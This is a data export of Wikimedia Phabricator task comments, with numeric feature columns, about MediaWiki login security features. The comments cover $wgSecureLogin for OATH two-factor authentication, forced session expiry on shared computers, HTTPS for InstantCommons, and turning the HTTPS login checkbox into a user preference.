967009,OATH should use $wgSecureLogin,"AuthManager handles `$wgSecureLogin` on login, so entering the one-time key is secured. The other AuthManager special pages do not respect `$wgSecureLogin`; they probably should though. Filed {T180886}.",,,1511043011,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,True,,,220,True,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.222222222222222,0.8888888888888888,"AuthManager handles CODE on login, so entering the one-time key is secured. The other AuthManager special pages do not respect CODE; they probably should though. Filed {T180886}."
765962,OATH should use $wgSecureLogin,"@Reedy, I grepped through our source code, but I see no indication of AuthManager handling this. It should also be noted that the flow to enable and disable 2FA are not (yet) part of AuthManager and I presume would still require this changeset.",,,1479928652,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,False,,,169,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,10.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,14.0,2.0,6.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,10.0,10.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.224489795918367,0.8367346938775511,"SCREEN_NAME, I grepped through our source code, but I see no indication of AuthManager handling this. It should also be noted that the flow to enable and disable 2FA are not (yet) part of AuthManager and I presume would still require this changeset."
765612,OATH should use $wgSecureLogin,"@Reedy, I grepped through our source code, but I see no indication of AuthManager handling this. It should also be noted that the flow to enable and disable 2FA are not part of AuthManager and I presume would still require this changeset.",,,1479894144,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,False,,,169,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,7.0,11.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,15.0,2.0,7.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,11.0,11.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.391304347826087,0.8260869565217391,"SCREEN_NAME, I grepped through our source code, but I see no indication of AuthManager handling this. It should also be noted that the flow to enable and disable 2FA are not part of AuthManager and I presume would still require this changeset."
759915,OATH should use $wgSecureLogin,Does AuthManager actually handle this now?,,,1478920246,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,True,,,167,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.285714285714286,1.0,Does AuthManager actually handle this now?
463808,OATH should use $wgSecureLogin,"Change 213770 had a related patch set uploaded (by Parent5446):
Make OATHAuth respect $wgSecureLogin

[[https://gerrit.wikimedia.org/r/213770]]
",,,1432601167,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,False,,,90,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.2,0.88,"Change 213770 had a related patch set uploaded (by Parent5446):
Make OATHAuth respect $wgSecureLogin

[[GERRIT_URL]]
"
55156,Provide option to force a login session to end within a certain time,"This is similar to bug 26538, but for the user side I presume

It is requested that people be able to set an option that would allow them to configure the duration time of their login session.

Use case:
Multiple Wikipedia users sharing the same computer/browser in a household.

We have seen a number of times now that people/siblings/partners accidentally use each others accounts in this situation. The option would forcefully expire the login session after a certain amount of time, independent of the cookie expiration of the browser.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=56212",Low,25.0,1377097560,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-uaaoih2fzwroz6hv2eis,task_description,open,True,c2,2,False,False,,-1,True,0.5,0.0,0.0,0.5,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,8.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,3.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,6.5,0.0,1.0,0.0,0.5,0.5,15.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,6.5,1.5,8.0,1.0,0.5,8.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,2.5,8.5,1.5,0.0,0.0,0.0,2.5,0.0,0.5,2.0,0.5,0.5,0.0,0.0,0.0,4.059701492537314,0.7537313432835822,"This is similar to bug 26538, but for the user side I presume

It is requested that people be able to set an option that would allow them to configure the duration time of their login session.

Use case:
Multiple Wikipedia users sharing the same computer/browser in a household.

We have seen a number of times now that people/siblings/partners accidentally use each others accounts in this situation. The option would forcefully expire the login session after a certain amount of time, independent of the cookie expiration of the browser.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement
**See Also**:
URL"
680643,Provide option to force a login session to end within a certain time,"Some brainstorming:
* ""Expiring"" a session is easy enough with SessionManager, just store the last-active time in the session (either in the data or use the SessionMetadata hook to save it in the metadata) and use the SessionCheckInfo hook to invalidate it if the time isn't recent enough.
* OTOH, determining when a user was last active isn't so easy since we don't want to be having every page read having to write to the session to update an activity timestamp.
** You'd need to decide on a granularity (G) for the activity timestamps that results in an acceptable rate of writes, and accept that an expiry of T minutes might really expire after G-ε minutes of reading followed by only T-G+ε minutes of real inactivity.
* ""Restoring"" the session on login is another tricky issue, particularly since the things the server considers as being in the session are not necessarily the things the user would consider.
** For example, a user might think of a situation like ""I'm editing a page, the session expires, I leave the edit form to log in, then come back and the edit-in-progress should still be there."" But the data in the edit form isn't maintained in the session (it's in the state of the edit form that the user left), so it's not something the server could easily ""restore"" after login.
* Expiring the session in this manner would interact oddly with the ""remember me"" checkbox on the login form: either the early expiration would override the remembering (but only when `$wgObjectCacheSessionExpiry` isn't also exceeded), or the remembering would override the expiration so the only effect would be an increase in the ""Sorry! We could not process your edit due to a loss of session data"" (but still being logged in) when editing. So you might just want to skip early expiry entirely if the session is 'remembered'.",,,1466090911,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-uaaoih2fzwroz6hv2eis,task_subcomment,,True,c2,3,True,,,146,True,0.5,0.25,0.25,0.75,2.0,3.25,1.5,0.0,0.0,0.5,3.5,2.25,0.0,0.75,0.0,1.25,1.0,8.0,12.25,0.25,2.0,0.25,0.5,0.0,0.75,0.0,0.0,0.0,1.25,1.5,0.0,3.75,2.5,1.0,1.0,0.75,0.0,0.0,1.0,0.5,0.0,0.0,0.5,4.25,0.0,0.25,0.25,0.25,0.25,12.5,0.0,0.25,0.0,1.0,0.0,0.25,0.0,0.0,0.5,0.5,0.0,1.75,0.0,0.0,0.25,0.25,0.25,11.5,3.5,5.5,2.25,2.75,12.5,0.0,0.0,0.25,0.0,7.0,0.0,0.0,0.0,3.0,12.25,2.5,0.0,3.5,0.0,3.0,0.0,1.25,2.75,0.25,2.0,0.0,0.0,0.0,3.8531464776632305,0.6615925687285222,"Some brainstorming:
* ""Expiring"" a session is easy enough with SessionManager, just store the last-active time in the session (either in the data or use the SessionMetadata hook to save it in the metadata) and use the SessionCheckInfo hook to invalidate it if the time isn't recent enough.
* OTOH, determining when a user was last active isn't so easy since we don't want to be having every page read having to write to the session to update an activity timestamp.
** You'd need to decide on a granularity (G) for the activity timestamps that results in an acceptable rate of writes, and accept that an expiry of T minutes might really expire after G-ε minutes of reading followed by only T-G+ε minutes of real inactivity.
* ""Restoring"" the session on login is another tricky issue, particularly since the things the server considers as being in the session are not necessarily the things the user would consider.
** For example, a user might think of a situation like ""I'm editing a page, the session expires, I leave the edit form to log in, then come back and the edit-in-progress should still be there."" But the data in the edit form isn't maintained in the session (it's in the state of the edit form that the user left), so it's not something the server could easily ""restore"" after login.
* Expiring the session in this manner would interact oddly with the ""remember me"" checkbox on the login form: either the early expiration would override the remembering (but only when CODE isn't also exceeded), or the remembering would override the expiration so the only effect would be an increase in the ""Sorry! We could not process your edit due to a loss of session data"" (but still being logged in) when editing. So you might just want to skip early expiry entirely if the session is 'remembered'."
251662,Provide option to force a login session to end within a certain time,"**My76Strat** wrote:

In the description where it says ""expire the login session after a certain amount of time"" it should state ""expire the login session after a certain amount of time inactive"" to align with the stated desire as discussed at wp:vmt. Clearly it is not desired that an active session should forcefully expire in the midst of activity on a timed basis alone. An additional feature was requested as prudent which would allow an account forcefully expired for inactivity to restore the entire session upon logging in; to prevent the loss of data incurred by the forced expiration. Please consider these stipulations as if they were included in the original description; they are included in the original request.",,,1377169730,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uaaoih2fzwroz6hv2eis,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,2.5,0.5,7.0,0.0,0.0,0.0,0.5,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,16.0,0.0,2.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.5,1.5,2.0,0.0,0.0,0.0,0.5,3.0,0.0,1.5,0.0,6.5,0.0,0.0,0.0,0.0,0.5,9.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,10.0,2.5,3.0,2.5,0.0,11.5,0.0,0.0,0.0,0.0,5.5,0.5,0.0,0.0,3.0,16.0,2.0,0.0,2.0,0.0,3.0,0.0,1.0,3.5,0.0,0.5,0.0,0.0,0.0,4.448316283034953,0.7085464620630861,"**My76Strat** wrote:

In the description where it says ""expire the login session after a certain amount of time"" it should state ""expire the login session after a certain amount of time inactive"" to align with the stated desire as discussed at wp:vmt. Clearly it is not desired that an active session should forcefully expire in the midst of activity on a timed basis alone. An additional feature was requested as prudent which would allow an account forcefully expired for inactivity to restore the entire session upon logging in; to prevent the loss of data incurred by the forced expiration. Please consider these stipulations as if they were included in the original description; they are included in the original request."
55131,make $wgUseInstantCommons protocol always secure / SSL / https,"**Author:** `mr.tamershlash`

**Description:**
$wgUseInstantCommons protocol appears to be relative according to this bugfix: https://bugzilla.wikimedia.org/show_bug.cgi?id=32219

However, in some countries (like Syria) Wikimedia Commons is blocked if you're using http, so if you're on another wiki that doesn't have ssl, you'll not be able to see any image form the commons, which is really odd.

I think that $wgUseInstantCommons should always use https, I tried to use $wgForeignFileRepos code here: https://www.mediawiki.org/wiki/Manual:$wgUseInstantCommons and changed the apibase to use https and everything worked just fine, it'll be better if just the easy $wgUseInstantCommons use https always.

Thanks.

--------------------------
**Version**: 1.21.x
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=32219",Low,25.0,1377036300,1434485159.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-igxvyecmtnognd2yaxin,task_description,duplicate,True,c2,2,False,False,False,-2,True,1.0,0.5,0.0,0.5,1.0,3.5,2.0,0.0,0.0,1.5,1.0,2.5,0.0,0.0,0.0,1.5,0.0,6.0,6.5,0.5,2.5,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,4.5,2.0,0.5,0.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.5,0.5,15.0,0.0,0.5,0.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,2.0,2.5,10.0,2.5,2.0,4.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5,6.5,2.5,0.0,0.0,0.0,3.5,0.0,1.0,0.0,0.0,1.0,0.5,0.0,0.0,3.83974358974359,0.6538461538461539,"**Author:** CODE

**Description:**
$wgUseInstantCommons protocol appears to be relative according to this bugfix: URL

However, in some countries (like Syria) Wikimedia Commons is blocked if you're using http, so if you're on another wiki that doesn't have ssl, you'll not be able to see any image form the commons, which is really odd.

I think that $wgUseInstantCommons should always use https, I tried to use $wgForeignFileRepos code here: URL and changed the apibase to use https and everything worked just fine, it'll be better if just the easy $wgUseInstantCommons use https always.

Thanks.

--------------------------
**Version**: 1.21.x
**Severity**: enhancement
**See Also**:
URL"
250029,make $wgUseInstantCommons protocol always secure / SSL / https,Better is subjective. Some people cannot use HTTPS. There's a lovely discussion of this going on for WMF projects. See https://blog.wikimedia.org/2013/08/01/future-https-wikimedia-projects/,,,1377036466,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-igxvyecmtnognd2yaxin,task_subcomment,,True,c2,2,True,,,-2,True,4.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,27.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,3.923076923076923,0.9230769230769231,Better is subjective. Some people cannot use HTTPS. There's a lovely discussion of this going on for WMF projects. See URL
54946,wayback machine can display user login page if the link is clicked from an article,"**Author:** `jeffluo35`

**Description:**
A screenshot of the problem.

When browsing a wikipedia article in the internet archive wayback machine, somebody could click the login link and access the login page.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: http://web.archive.org/liveweb/https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Bugzilla

**Attached**: {F11337}",Low,25.0,1376685660,1377018307.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ylikn3wntpn43fwgl2js,task_description,declined,True,c2,2,False,False,True,-2,True,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,3.4878048780487805,0.5487804878048781,"**Author:** CODE

**Description:**
A screenshot of the problem.

When browsing a wikipedia article in the internet archive wayback machine, somebody could click the login link and access the login page.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: URL

**Attached**: {F11337}"
239404,wayback machine can display user login page if the link is clicked from an article,"**jeffluo35** wrote:

Somebody probably fixed it. The last time I checked, I took a screenshot that I attached above.",,,1377018307,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ylikn3wntpn43fwgl2js,task_subcomment,,True,c2,2,False,,,-2,True,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,18.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,14.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.7857142857142857,"**jeffluo35** wrote:

Somebody probably fixed it. The last time I checked, I took a screenshot that I attached above."
239398,wayback machine can display user login page if the link is clicked from an article,"Thanks for taking the time to report this! 
Could you explain why this is a problem?

For the URL given above, I get a ""Page cannot be crawled or displayed due to robots.txt.""",,,1376903786,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylikn3wntpn43fwgl2js,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,10.0,5.0,14.0,2.0,2.0,14.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,5.0,12.0,0.0,2.0,5.0,0.0,5.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,2.0,3.4285714285714284,0.8809523809523809,"Thanks for taking the time to report this! 
Could you explain why this is a problem?

For the URL given above, I get a ""Page cannot be crawled or displayed due to robots.txt."""
54283,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","**Author:** `swalling`

**Description:**
Currently with wgSecureLogin set to true, it adds a checkbox on Special:UserLogin (which is checked by default) to let the user ""Stay connected to HTTPS after login"" or not.

I think it is probably not necessary. HTTPS is a sane default, and if there's going to be an option to turn it off, it should likely be in user preferences, not on the login page every time you view it.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=29898",Low,25.0,1375208820,1376964006.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ubxour7ark7qgxfdqgos,task_description,resolved,True,c2,1,False,False,True,-5,True,1.0,0.0,0.0,0.5,2.0,2.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,4.5,8.5,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,3.5,0.5,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.0,3.0,9.0,1.0,1.5,4.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,5.0,8.5,3.0,0.0,1.0,0.0,5.0,0.0,0.5,2.0,0.0,1.0,0.0,0.0,0.0,3.4285714285714284,0.6904761904761905,"**Author:** CODE

**Description:**
Currently with wgSecureLogin set to true, it adds a checkbox on Special:UserLogin (which is checked by default) to let the user ""Stay connected to HTTPS after login"" or not.

I think it is probably not necessary. HTTPS is a sane default, and if there's going to be an option to turn it off, it should likely be in user preferences, not on the login page every time you view it.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement
**See Also**:
URL"
250116,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 79960 merged by jenkins-bot:
Change secure login to use a user preference

https://gerrit.wikimedia.org/r/79960",,,1377026731,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.2631578947368425,0.9473684210526315,"Change 79960 merged by jenkins-bot:
Change secure login to use a user preference

GERRIT_URL"
250108,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 79963 merged by jenkins-bot:
Change secure login to use a user preference

https://gerrit.wikimedia.org/r/79963",,,1377026339,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.2631578947368425,0.9473684210526315,"Change 79963 merged by jenkins-bot:
Change secure login to use a user preference

GERRIT_URL"
250098,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 79963 had a related patch set uploaded by Demon:
Change secure login to use a user preference

https://gerrit.wikimedia.org/r/79963",,,1376960620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,0.9090909090909091,"Change 79963 had a related patch set uploaded by Demon:
Change secure login to use a user preference

GERRIT_URL"
250088,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 79960 had a related patch set uploaded by Demon:
Change secure login to use a user preference

https://gerrit.wikimedia.org/r/79960",,,1376960464,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,0.9090909090909091,"Change 79960 had a related patch set uploaded by Demon:
Change secure login to use a user preference

GERRIT_URL"
250078,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","**swalling** wrote:

Thanks guys!",,,1376959176,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8181818181818183,0.7272727272727273,"**swalling** wrote:

Thanks guys!"
250068,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 47089 merged by jenkins-bot:
Change secure login to use a user preference

https://gerrit.wikimedia.org/r/47089",,,1376957308,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.2631578947368425,0.9473684210526315,"Change 47089 merged by jenkins-bot:
Change secure login to use a user preference

GERRIT_URL"
